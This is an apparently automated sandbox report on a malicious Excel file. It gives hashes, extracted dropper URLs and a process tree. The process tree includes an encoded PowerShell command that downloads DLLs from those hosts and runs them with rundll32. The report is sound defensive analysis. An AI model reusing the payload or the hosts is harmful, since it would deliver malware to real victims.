Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    133s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/11/2024, 22:20

General

  • Target

    ac3eb0fc4f8e3552acbbb90c3f9d1e3b920a3a157b9f2c121f4e33e2b6fd6bb6.xls

  • Size

    144KB

  • MD5

    4e5ddc43df4e2df4755a36d76c268c68

  • SHA1

    e6f524a955a7ba956b5d60bc70332b4955bfb89a

  • SHA256

    ac3eb0fc4f8e3552acbbb90c3f9d1e3b920a3a157b9f2c121f4e33e2b6fd6bb6

  • SHA512

    9a7cc46c2f7cf2193c7d7c6b6eb7cb9fc7a22ba380128cefc444fb3aed7b60edce2d47029ac1845680699d7daa43b2d7397fe8701d2b4b83c038d3fba16fb477

  • SSDEEP

    3072:L7cKoSsxzNDZLDZjlbR868O8K0c03D38TehYTdeHVhjqabWHLtyeGx6Z84TI7Gxl:HcKoSsxzNDZLDZjlbR868O8K0c03D38l

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://four.renovatiog.ltd/wp-includes/KGzoB0zsRKZjjEe/

exe.dropper

http://adultfriendfinder-adultfriends.com/mmfdoublepenetrationadultfriends/0pcEeJPfwMU/

exe.dropper

http://jwellery.fameitc.com/wp-includes/wQK7z9cEcwWCUG/

exe.dropper

http://arcgakuin-dev2.sukoburu-secure.com/l35uhr/R1evmjjhga/

exe.dropper

http://bimesarayenovin.ir/wp-admin/z464/

exe.dropper

http://hostfeeling.com/wp-admin/DidtoZk2EEc7BWXyhh/

exe.dropper

http://gardeningfilm.com/wp-content/Ef/

exe.dropper

http://moneymagnetentertainment.com/pz66t8y/Bd0sR0htA8mHibNJrk/

exe.dropper

https://100lamp.com.ua:443/sale/a/

exe.dropper

http://queenofluv.com/uemsub/peLSdHCvfhkge/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ac3eb0fc4f8e3552acbbb90c3f9d1e3b920a3a157b9f2c121f4e33e2b6fd6bb6.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4016
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\programdata\uylcsekn.bat" "
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3244
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AZgBvAHUAcgAuAHIAZQBuAG8AdgBhAHQAaQBvAGcALgBsAHQAZAAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEsARwB6AG8AQgAwAHoAcwBSAEsAWgBqAGoARQBlAC8ALABoAHQAdABwADoALwAvAGEAZAB1AGwAdABmAHIAaQBlAG4AZABmAGkAbgBkAGUAcgAtAGEAZAB1AGwAdABmAHIAaQBlAG4AZABzAC4AYwBvAG0ALwBtAG0AZgBkAG8AdQBiAGwAZQBwAGUAbgBlAHQAcgBhAHQAaQBvAG4AYQBkAHUAbAB0AGYAcgBpAGUAbgBkAHMALwAwAHAAYwBFAGUASgBQAGYAdwBNAFUALwAsAGgAdAB0AHAAOgAvAC8AagB3AGUAbABsAGUAcgB5AC4AZgBhAG0AZQBpAHQAYwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AdwBRAEsANwB6ADkAYwBFAGMAdwBXAEMAVQBHAC8ALABoAHQAdABwADoALwAvAGEAcgBjAGcAYQBrAHUAaQBuAC0AZABlAHYAMgAuAHMAdQBrAG8AYgB1AHIAdQAtAHMAZQBjAHUAcgBlAC4AYwBvAG0ALwBsADMANQB1AGgAcgAvAFIAMQBlAHYAbQBqAGoAaABnAGEALwAsAGgAdAB0AHAAOgAvAC8AYgBpAG0AZQBzAGEAcgBhAHkAZQBuAG8AdgBpAG4ALgBpAHIALwB3AHAALQBhAGQAbQBpAG4ALwB6ADQANgA0AC8ALABoAHQAdABwADoALwAvAGgAbwBzAHQAZgBlAGUAbABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ARABpAGQAdABvAFoAawAyAEUARQBjADcAQgBXAFgAeQBoAGgALwAsAGgAdAB0AHAAOgAvAC8AZwBhAHIAZABlAG4AaQBuAGcAZgBpAGwAbQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAEUAZgAvACwAaAB0AHQAcAA6AC8ALwBtAG8AbgBlAHkAbQBhAGcAbgBlAHQAZQBuAHQAZQByAHQAYQBpAG4AbQBlAG4AdAAuAGMAbwBtAC8AcAB6ADYANgB0ADgAeQAvAEIAZAAwAHMAUgAwAGgAdABBADgAbQBIAGkAYgBOAEoAcgBrAC8ALABoAHQAdABwAHMAOgAvAC8AMQAwADAAbABhAG0AcAAuAGMAbwBtAC4AdQBhADoANAA0ADMALwBzAGEAbABlAC8AYQAvACwAaAB0AHQAcAA6AC8ALwBxAHUAZQBlAG4AbwBmAGwAdQB2AC4AYwBvAG0ALwB1AGUAbQBzAHUAYgAvAHAAZQBMAFMAZABIAEMAdgBmAGgAawBnAGUALwAiAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAKAAkAHMAdAAgAGkAbgAgACQAcgBvAHcAaQBmAGkAdQBkACkAewAkAHIAcgB5AGkAdQBkAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAZgBnAGgAaQB1AHMAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAPQAiAGMAOgBcAHAAcgBvAGcAcgBhAG0AZABhAHQAYQBcACIAKwAkAHIAcgB5AGkAdQBkACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwApAHsAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4440

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cjepsdxk.gxw.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\programdata\uylcsekn.bat

    Filesize

    3KB

    MD5

    b3e87e4fda09592bebf3522c319e8b79

    SHA1

    dc061034bbcc3a397e046b5e512ed0235a397fac

    SHA256

    d47ce3fd5ecb89f6a9ab9c71b1541f27236da06a39732efdee85cbaf093a8246

    SHA512

    9b1576eea10d6d70fc8e33bf3df994ae0d02ae6c963c6baa270f095ced7240aae85501a92c9e7f0f6b25d65f356deff4aa644d6073d39d455d15d864e12e7477

  • memory/4016-12-0x00007FFB947B0000-0x00007FFB949A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4016-31-0x00007FFB947B0000-0x00007FFB949A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4016-4-0x00007FFB54830000-0x00007FFB54840000-memory.dmp

    Filesize

    64KB

  • memory/4016-6-0x00007FFB947B0000-0x00007FFB949A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4016-9-0x00007FFB947B0000-0x00007FFB949A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4016-13-0x00007FFB947B0000-0x00007FFB949A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4016-0-0x00007FFB54830000-0x00007FFB54840000-memory.dmp

    Filesize

    64KB

  • memory/4016-14-0x00007FFB52560000-0x00007FFB52570000-memory.dmp

    Filesize

    64KB

  • memory/4016-11-0x00007FFB947B0000-0x00007FFB949A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4016-10-0x00007FFB947B0000-0x00007FFB949A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4016-17-0x00007FFB947B0000-0x00007FFB949A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4016-18-0x00007FFB947B0000-0x00007FFB949A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4016-16-0x00007FFB947B0000-0x00007FFB949A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4016-20-0x00007FFB947B0000-0x00007FFB949A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4016-3-0x00007FFB54830000-0x00007FFB54840000-memory.dmp

    Filesize

    64KB

  • memory/4016-19-0x00007FFB947B0000-0x00007FFB949A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4016-2-0x00007FFB54830000-0x00007FFB54840000-memory.dmp

    Filesize

    64KB

  • memory/4016-7-0x00007FFB947B0000-0x00007FFB949A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4016-5-0x00007FFB54830000-0x00007FFB54840000-memory.dmp

    Filesize

    64KB

  • memory/4016-30-0x00007FFB947B0000-0x00007FFB949A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4016-15-0x00007FFB52560000-0x00007FFB52570000-memory.dmp

    Filesize

    64KB

  • memory/4016-78-0x00007FFB947B0000-0x00007FFB949A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4016-8-0x00007FFB947B0000-0x00007FFB949A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4016-111-0x00007FFB947B0000-0x00007FFB949A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4016-1-0x00007FFB9484D000-0x00007FFB9484E000-memory.dmp

    Filesize

    4KB

  • memory/4016-105-0x00007FFB947B0000-0x00007FFB949A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4016-103-0x00007FFB947B0000-0x00007FFB949A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4016-104-0x00007FFB9484D000-0x00007FFB9484E000-memory.dmp

    Filesize

    4KB

  • memory/4440-99-0x00000211804F0000-0x0000021180C96000-memory.dmp

    Filesize

    7.6MB

  • memory/4440-85-0x000002117F810000-0x000002117F832000-memory.dmp

    Filesize

    136KB